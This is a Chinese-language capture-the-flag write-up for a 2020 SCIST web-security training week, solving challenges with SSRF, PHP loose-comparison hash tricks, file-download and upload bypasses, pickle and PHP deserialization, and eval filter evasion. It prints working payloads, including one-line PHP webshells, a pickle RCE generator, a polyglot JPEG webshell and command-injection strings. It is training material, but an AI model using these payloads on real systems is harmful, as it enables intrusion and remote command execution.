2020 SCIST Web Week 2 === [TOC] ## Web ### SSRF NOOB 首先進入網站 只有一個輸入的框框 `give me the url...` 輸入看看這題的網址 ![](https://i.imgur.com/uzYQ5Py.png) 看起來貌似是會去 curl 並且把內容顯示出來 來看一下 Source Code ![](https://i.imgur.com/25QM5Vr.png) 看起來 `flag` 放在 `config.php` 下 試試看直接瀏覽 :::danger Only allow IP 127.0.0.1! ::: 127.0.0.1 這個 IP 表示為本地端 所以要看 `config.php` 只能從本地去看 經過測試,網頁會使用 `file_get_contents` 去取得你 input 的 url 那麼我們輸入看看 `http://127.0.0.1/config.php` ![](https://i.imgur.com/D7apMGi.png) Flag 就會噴出來了 因為我們是透過 這個網站去請求自身的 `config.php` 想當然 IP 就會是 `127.0.0.1` :::info 如果題目要求 IP 為 127.0.0.1 盡量就是 127.0.0.1 並不是所有的設定都會將 localhost 導向 127.0.0.1 這會取決於 /etc/hosts 的設定 Windows : **\system32\drivers\etc\hosts** macOS , Linux : **/etc/hosts** ::: ## Level 1 ### HTTP Method ~~這題在沒有題目名字提示下其實有點通靈~~ 題目都說了 HTTP Method 所以直接從 Method 下手ㄅ :::info OPTIONS 這個 Method 可以查詢這個網站支援什麼 Method ::: 於是我們 curl 一下 ```bash= curl -i -X OPTIONS http://140.110.112.78:30002/ ``` <!-- ![](https://i.imgur.com/Vg4HQHJ.png) --> ![](https://i.imgur.com/othVyJ2.png) 注意到有一個 Method 叫做 `FLAGISHERE` 於是我們用那個 Method 去 curl <!-- ![](https://i.imgur.com/4avM5so.png) --> ![](https://i.imgur.com/RF50b1g.png) ## Level 2 ### sha1 collision 進去之後非常佛心 有 Source Code 可以看 ![](https://i.imgur.com/crHPR1u.png) 我們只需要注意到 ```htmlembedded=11 if ($username == 'admin' and sha1($password) == '0e342768415931451224984248454864') ``` `$username` 已知需要 `admin` 接著就是我們輸入的 `$password` 經過 sha1 Hash 過後必須 == 0e 那串 由於 Hash 本身是不可逆的 所以別想著可以用後面那串反推結果 我們只需要注意到他是使用 `== 弱比較` 進行結果比對 > hash 雖然不可逆,但相同的資料經過相同的 hash function 會得到相同的 hash > 可以透過暴搜的方式嘗試找出符合的明文 在 PHP 的弱比較中 基本上不存在 數值及字串的差異 並且會將 0e , 1e 等視為科學記號 並轉換為數值 所以 - `"1234"` == `1234` - `"abcd"` == `abcd` - `1e2` == `100` - `"0e3"` == `0000` == `"0000"` 觀察一下會發現那串 0e 後面全部都是數字 所以在弱比較中會被當作 0 去比較 那麼我也只需要上傳一個字串或是數值在經過 sha1 之後 開頭為 0e 且後面皆為數字的就好 password : `aaroZmOk` `aaK1STfY` `10932435112` > 網路上有好心人士將會產生 `0e...` 數字的字串搜集好了 > https://github.com/spaze/hashes ### Md5 collision 同理 [sha1 collision](#sha1-collision) password : `QNKCDZO` `s155964671a` `240610708` ### Download 這題打開會給你兩個按鈕去下載檔案 先別急著下載 先來看一下 Source ![](https://i.imgur.com/gBrF9ZU.png) 我們會看到那兩個按鈕導向了其他的 url 觀察一下那個 url 會發現後面奇怪的字串看起來像是 Base64 Encode 的結果 拿去 Decode 一下 <!-- ![](https://i.imgur.com/onAr8ZV.png) --> ![](https://i.imgur.com/LnCreFo.png) 會發現這就是我們要下載的檔案名字 於是我們可以猜測他會下載那串 Base64 Decode 過後的檔案 那我們就自己竄改一下可以下載什麼檔案 ```bash= $ echo -n 'download.php' | base64 # -n 取消輸出換行 > ZG93bmxvYWQucGhw ``` 接著 curl 我們要下載的網址 `http://140.110.112.78:3005/download.php?url=ZG93bmxvYWQucGhw` 我們就會得到 download.php 的 Source Code ```php= <?php error_reporting(0); include("flag.php"); // 引用 flag.php 裡的變數及函式 $url=base64_decode($_GET[url]); if( $url=="flag.php" || $url=="download.php" || $url=="sleepingsheep.mp3" || $url=="ourfrenchcafe.mp3"){ header ( "Content-Disposition: attachment; filename=".$url); echo(file_get_contents($url)); // 將檔案內容輸出 exit; } else { echo "沒有權限!"; } ?> ``` 透過 Source 可以猜測 flag 在 `flag.php` 於是透過 `download.php` 讀取 `flag.php` ![](https://i.imgur.com/9yeOzaD.png) ## Level 3 ### New HTTP Method 同理 [HTTP Method](#HTTP-Method) ### sh3ll_upload3r 開門見山直接給你 Source Code :::spoiler 完整 Source Code ```html= <h2>Sh3ll Upload3r</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="my_file"> <input type="submit" value="Upload"> </form> <hr> <br> You can only upload file with this content: <pre> <?php echo htmlentities(file_get_contents("sh"));?> </pre> <hr> <br> <br> <br> <h3>Source Code:</h3> <?php $file = $_FILES['my_file']['tmp_name']; $dest = 'upload/' . $_FILES['my_file']['name']; $extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION); $h = sha1(md5(file_get_contents($file))); if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!'); // check content if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") { echo "<h3 style='color:red'>OK, your shell is valid</h3>"; move_uploaded_file($file, $dest); } else if($file !== NULL) { die("Oops! You can only upload my shell :)"); } highlight_file(__FILE__); ?> ``` ::: <br> 來一行一行解析這在幹嘛 ```htmlembedded=18 $file = $_FILES['my_file']['tmp_name'] ``` 將 `$file` 定義為檔案暫存的資料夾位置 ```htmlembedded=19 $dest = 'upload/' . $_FILES['my_file']['name']; ``` 將 `$dest` 定義為 `upload/檔案名稱` 這個路徑 ```htmlembedded=20 $extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION); ``` 將 `$extension` 定義為上傳檔案之附檔名 ```htmlembedded=21 $h = sha1(md5(file_get_contents($file))); ``` 將 `$h` 定義為 `$file` 這個路徑的內容經過 `md5` 和 `sha1` 的結果 ```htmlembedded=23 if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!'); ``` 若是 `h` 出現在 `$extension` 則輸出 `Bad Hacker!` 並終止 > `stripos($s,$c)` 會回傳`$c` 在 `$s` 第一次出現的位置 且不分大小寫 > https://www.php.net/manual/en/function.stripos.php ```php=26 // check content if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") { echo "<h3 style='color:red'>OK, your shell is valid</h3>"; move_uploaded_file($file, $dest); } ``` 如果 `$h` 等於後面那串 `hash` 則輸出 `OK` 並把檔案移到 `$dest` 指定的暫存位置 ```htmlembedded=10 <?php echo htmlentities(file_get_contents("sh"));?> ``` ~~透過通靈~~ 可以知道是 `sh` 這個檔案 ![](https://i.imgur.com/KXRI0qn.png) 可以透過 `wget http://140.110.112.78:4006/sh` 取得完整檔案 > 注意 自己複製文字的話最後要加換行 > 可以透過 `cat 檔案名稱 | md5sum | head -c 32 | sha1sum` 驗證 hash 是否正確 ```php= <?php system("cat /flag"); ``` 綜合以上 Code Review 的結果 可推出 1. 只能照 `sh` 的內容上傳 2. 會檢查 `h` 是否出現在附檔名中 3. 檔案上傳後會存在 `http://140.110.112.78:4006/upload/<file_name>` 注意第 2 點 `php` 的 `PATHINFO_EXTENSION` 只會存取最後面的副檔名 並且我們要讓 `sh` 的內容能夠跑起來 ```bash= curl -i http://140.110.112.78:4006 ``` 會得知 Server 的環境 `Server: Apache/2.2.15 (CentOS)` `Apache` 會在解析檔案時跳過未在 mime.type 內定義的副檔名 並且往左邊一個副檔名搜尋 於是如果要繞過第 2 點,可以在 `sh.php` 後面接上其他附檔名 如 : `sh.php.kaibro`,可以迴避 `h` 字元的副檔名檢查 並且使 `Apache` 解析檔案名稱後,使用解析 `PHP` 檔案的方式執行 `sh` 的內容得到 `flag` Upload `sh.php.kaibro` <!-- ![](https://i.imgur.com/retB9U6.png) --> ![](https://i.imgur.com/imobvMO.png) > 想瞭解更多關於 `Apache` 的解析漏洞可以參考下方的連結 > https://www.gentoo.org/support/news-items/2015-04-06-apache-addhandler-addtype.html ### ImageUploader :::spoiler 完整 source code ```htmlembedded= <html> <body> <h2>Image Uploader</h2> <?php if ($_SERVER['REQUEST_METHOD'] !== 'POST') { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="filename" value="upload.jpg" /> Choose a JPEG to upload:<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <div id="viewsource"><a href="/?action=source">View sourcecode</a></div> <? if($_GET['action'] === 'source'){ highlight_file(__FILE__); } } else{ $file = $_FILES['uploadedfile']['tmp_name']; if(!isset($_POST['filename'])) echo "Without Correct Parameters"; else if(filesize($file) > 1000) echo "File must be smaller than 1kB"; else{ $ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION); $target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext; if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; else echo "Something wrong during the uploading process"; } } ?> </body> </html> ``` ::: 這題就不每行解釋 code 在做什麼了 上傳檔案的幾個條件 1. `line 6`: `METHOD` 是 `POST` 2. `line 22`: `POST` 的資料中有 `filename` 欄位 3. `line 23`: 上傳的檔案不能超過 1kB 通過這些條件,檔案會存在 `upload/$md5.$ext` ```php $md5 = md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) ``` 將你的 ip 和檔案內容經過 `md5` hash 作為檔案名稱 ```php $ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION) ``` 使用 `POST` 資料中 `filename` 欄位的副檔名當作上傳檔案的副檔名 綜合以上分析 可以知道將 `filename` 的副檔名改成 `php` 就可以執行 PHP code ![](https://i.imgur.com/75KZh5g.png) <!-- ![](https://i.imgur.com/LDlINls.png) --> 上傳 php shell 後下指令即可找到 flag php shell 範例:``<?=`$_GET[1]`?>`` <!-- ![](https://i.imgur.com/RAJtoYU.png) --> ![](https://i.imgur.com/2nzCZ8S.png) ## Level 4 ### Kaibro_easy-pickle :::spoiler `index. php` 完整 Source Code ```htmlembedded= <?php $gg = $_POST['data']; if (isset($gg)) { preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m); system("echo $m[0] | python pickle.py"); } else { echo "WheRe iS yOur gg?<br>"; } highlight_file(__FILE__); ``` ::: :::spoiler `pickle. py` 完整 Source Code ```python= #!/usr/bin/python import os import cPickle import sys import base64 s = raw_input(":") print cPickle.loads(base64.b64decode(s)) ``` ::: <br> 先來看一下這行 ```htmlembedded=5 preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m); ``` > `preg_match($pattern, $str, $arr)` ([PHP manual](https://www.php.net/manual/en/function.preg-match.php)) > 會將 `$str` 中符合 `$pattern` 這個 `Regular Expression` 條件的字串區段丟上 `$arr` 這個 array 中 那我們來看一下這段 `Regular Expression` `/^[a-zA-Z0-9=]+$/` `^` 為整個字串的開頭 `[a-zA-Z0-9=]` 只要字串在 `a-z` or `A-Z` or `0-9` 的區間或是等於 `=` 都符合條件 `+` 匹配至少1個直到不符合條件 `$` 為整個字串的結束 綜合以上結果可以用 [Regular Debug](https://www.debuggex.com/) 轉換為下圖 ![](https://i.imgur.com/ncyTqj1.png) > 如果暫時看不懂 `Regular Expression` 沒關係 > 可以先用線上的 Visualizer 繞過學習門檻 > [name=nella17] 其實這段就是只取符合 Base64 Encode 字元的字串而已 接著是執行的部分 ```htmlembedded=6 system("echo $m[0] | python pickle.py"); ``` 將 `$m` 這個 `array` 的第一個值取出來 `pipe` 輸入到 `pickle.py` > `php` 在 `""` 雙引號的字串會解析 `$` 開頭的變數名稱將其替代 > 還有許多特殊的語法可以使用 > ![](https://i.imgur.com/bbUKeba.png) 接著就是 Python Pickle 序列化的部分 > \_\_reduce__ 在序列化時會被呼叫 > return 形式為 (function, (arg1, arg2, ...)) > 這東西會被放在序列化後字串的 bytes 中 > 當在做反序列化時,物件會以 function(arg1, arg2, ...) 的方式建立 > [name=djosix] 因此攻擊流程為 1. 建立一個 `class` 2. 初始化 並且建立 `__reduce__` 這個 `function` 讓他在序列化時被呼叫 3. 回傳 `(system , (self.name))` 在反序列化時則會變成呼叫 `system(self.name)` 4. Base64 encode 過後上傳 :::spoiler Payload Generate Script ```python= #!/usr/bin/python2 from pickle import dumps , loads from os import system from base64 import b64encode class cmd(object): def __init__(self, name): self.name = name def __reduce__(self): return (system, (self.name, )) command = raw_input() s = dumps(cmd(command)) print(b64encode(s).decode()) ``` ::: ![](https://i.imgur.com/rG7KiV3.png) ### To serialize or Not to serialize //TODO :::spoiler 完整 Source Code ```htmlembedded= <?php class MyFirstCTF { protected $test = "CTF"; function __wakeup() { print "Wake up yo!<br>"; system("echo ".$this->test); } } $input = $_GET['str']; $kb = unserialize($input); highlight_file(__FILE__); ``` ::: [php-unserialize-初识](http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/) 簡單的反序列化,重點在注意變數是`protected`物件,所以變數名的部分需要加上`%00`的一些東西。 ``` O:10:"MyFirstCTF":1:{s:7:"%00*%00test";s:3:";ls";} ``` ### ImageUploader2 :::spoiler 完整 Source Code ```htmlembedded= <html> <body> <h2>Image Uploader2</h2> <?php if ($_SERVER['REQUEST_METHOD'] !== 'POST') { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> Choose a JPEG to upload:<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <div id="viewsource"><a href="/?action=source">View sourcecode</a></div> <? if($_GET['action'] === 'source'){ highlight_file(__FILE__); } } else{ $file=$_FILES['uploadedfile']['tmp_name']; if(filesize($file) > 1000) echo "File must be smaller than 1kB"; else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader"; else{ $ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION); if($ext === "php") echo "No more php webshell"; else{ $target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext; if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; else echo "Something wrong during the uploading process"; } } } ?> </body> </html> ``` ::: 大部分內容都跟 ImageUploader 一樣 只需要注意兩個部分 ```htmlembedded=22 else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader"; ``` `exif_imagetype` 會檢查檔案檔案的 Header 並回傳相對應的數值 詳細資料可以看 [PHP ImageType List](https://www.php.net/manual/en/function.exif-imagetype.php) ```htmlembedded=25 $ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION); if($ext === "php") echo "No more php webshell"; ``` 檢查如果副檔名為 `php` 則會顯示 `No more webshell` 所以我們只需要生成一個檔案 `File Header` 是在 `ImageType List` 裡的 並且副檔名不為 `php` 但是可執行 PHP Code 的檔案就好 #### Solution 1 by MuMu 這邊以生成 `Header` 為 `JPG` 的 `upload.phtml` 為例子 `touch upload.phtml` `hexedit upload.html` 輸入 `ffd8 ffe2` `Ctrl-X` 儲存 `vim upload.phtml` 從第二行開始輸入你要的 PHP Code `file upload.phtml` 確認資料型態為 JPEG ![](https://i.imgur.com/o2fkkqu.png) 接著就可以開始下 Command 了 `http://140.110.112.78:30007/upload/<md5 str>.phtml/?cmd=<command>` #### Solution 2 by nella17 ```python= from PIL import Image import numpy as np script = b'\n<br><?=`$_GET[1]`?><br>\n' img = Image.fromarray(np.array([[0]],dtype=np.uint8)) img.save('shell.jpg', exif=script) import os os.rename('shell.jpg', 'shell.phtml') ``` 使用 `python` 的 `pillow` 和 `numpy` 創建圖片,並在 `exif` 的區塊寫入 php script 使用 `phtml` 副檔名 bypass `php` 副檔名的限制 ### Ev41 ::: spoiler Source Code ```htmlembedded= <?php highlight_file(__FILE__); if(!isset($_POST['payload'])) die("GIVE ME payload"); $payload = $_POST['payload']; $b64decoded = base64_decode($payload); if(strlen($b64decoded) > 0 ) { $payload = '# ' . $b64decoded; } if(strlen($payload) > 50) die("Too Greedy"); echo $payload; eval($payload); ?> ``` ::: #### Solution 1 by MuMu 這題我們只需要注意 ```htmlembedded=16 eval($payload); ``` 如果想繞過 `len(b64decode)> 0` 可以看下面的毒瘤解 PHP 的 `eval` 會加字串當作 PHP 的 Code 去執行 所以我們只需要處理 `#` 就好 `#` 在 PHP 為註解 所以要換行迴避 ```bash= echo -e "\nsystem('ls');" | base64 ``` :::info 如果不加 -e 則 echo 不會將 \n 解析為換行 ::: 只要讓他 `eval()` 上面那個 Command 的結果 在 PHP 中就會長這樣 ```htmlembbeded= # system('ls'); ``` 這樣就可以繞過被註解的情況了 #### Solution 2 by nella17 payload : ```php $_='`{{{'^'?<>/';($$_[π])($$_[§]); ``` > If the strict parameter is set to TRUE then the base64_decode() function will return FALSE if the input contains character from outside the base64 alphabet. Otherwise invalid characters will be silently discarded. > source: [PHP Function Base64 Decode](https://www.php.net/manual/en/function.base64-decode.php) 由 PHP manual 可知,`base64_decode` 在 `strict`參數(第2個參數)非 `TRUE` 時,會略過非 `base64` 的字母 Base64 alphabet: `A-Za-z0-9+/` padding: `=` <!-- base64 regex `^(?=(?:\S{4,4})?)[A-Za-z0-9+/]?={0,3}$` --> 由於 `php` 的語言特性 ```php $_='`{{{'^'?<>/'; # $_ == '_GET' # $$_ == $_GET ($$_[π])($$_[§]); # $a = $_GET[π] = 'system' # $b = $_GET[§] = 'pwd' # ($a)($b) == system('pwd') ``` <!-- ``'`{{{'^'?<>/'`` == `'_GET'` `$_='_GET'`,`$$_` == `$_GET` `$a='system',$b='ls'`,`$a($b)` == `system('ls')` --> ![](https://i.imgur.com/QK6BG6C.png) --- # 協作者 > [name=nella17] > [name=MuMu] ###### tags: `Security` `Web`